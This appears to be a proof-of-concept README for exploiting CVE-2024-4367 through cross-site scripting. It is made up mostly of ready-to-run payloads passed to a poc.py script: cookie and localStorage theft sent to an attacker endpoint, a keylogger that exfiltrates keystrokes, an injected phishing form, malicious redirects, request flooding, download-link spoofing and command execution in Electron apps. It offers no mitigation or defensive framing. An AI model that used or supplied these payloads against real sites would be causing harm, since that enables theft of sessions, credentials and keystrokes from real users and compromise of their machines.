CVE 2024 4367: PoC pour l'exploitation de XSS (Cross-Site Scripting)

1. Displaying an Alert (XSS Trigger)

Another exploitation example consists of injecting a simple alert message to check if the attack works.

python poc.py "alert('XSS exploit triggered');"

• Explanation: This code injects an alert pop-up into the page, allowing you to quickly test whether the XSS exploit is executed on the target site.

2. Cookie Theft

XSS can be used to steal the victim's cookies and send them to a malicious server.

python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"

• Explanation: The script modifies the page URL to include the victim's cookies, which are then sent to a malicious server (http://localhost:3000/cookie).

3. Theft of Locally Stored Data (LocalStorage)

The attacker can steal sensitive information stored in the victim's localStorage, such as authentication data or session information.

python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"

• Explanation: The code retrieves sensitive data stored in localStorage and sends it to a malicious server via a fetch request.

4. Malicious Redirect

The attacker can redirect the victim to a malicious site in order to retrieve additional information or load another exploit.

python poc.py "window.location.href='http://localhost:3000';"

• Explanation: This script immediately redirects the victim to a malicious site, which can be used in phishing attacks or to install malware.

5. DDoS Attack (API Flooding)

Another type of attack consists of flooding a server with requests, which can lead to performance degradation or service interruption.

python poc.py  "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"

• Explanation: The script sends 100 HTTP requests to a target API, which can cause server overload (denial of service attack).

6. Keylogger (Keystroke Theft)

The attacker can intercept the victim's keystrokes, allowing them to retrieve sensitive information such as passwords or identifiers.

python poc.py """document.addEventListener('keydown', function(e) {
    fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""

• Explanation: This script records every key pressed by the victim and sends this information to a malicious server.

7. Phishing via Injected Form (Theft of Sensitive Data)

An attacker can use XSS to inject a phishing form into a web page and thus steal sensitive information (e.g., password, username).

python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""

• Explanation: This code injects a form into the page, allowing the attacker to recover sensitive information that the user submits through this phishing form.

8. Spoofing

If the user is about to click on a download button, we will change the download target.

const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf"; 
document.body.appendChild(a);
a.click();
document.body.removeChild(a);

• Explanation: This script updates the link of a download URL; the idea is to modify an existing button so that it downloads a malicious file instead of the one intended by the user.

9. Attacks on Desktop Applications (Electron, NW.js)

python poc.py "require('child_process').exec('calc.exe')"

Applications based on frameworks like Electron or NW.js can also be affected by XSS attacks, because they allow integrating web content into desktop applications with extended local access.
These applications, due to their permissions, can allow an attacker to access local files, execute external processes, or even launch other applications on the target machine (e.g., calculator, text editor, etc.). This significantly increases the attack surface, as these applications combine the power of the web with broader system access.

Conclusion

Attacks exploiting CVEs (Common Vulnerabilities and Exposures) can enable various types of XSS attacks. By exploiting specific vulnerabilities in web or desktop applications, an attacker can inject malicious code, steal sensitive information, manipulate user sessions, or execute malicious actions on the target system.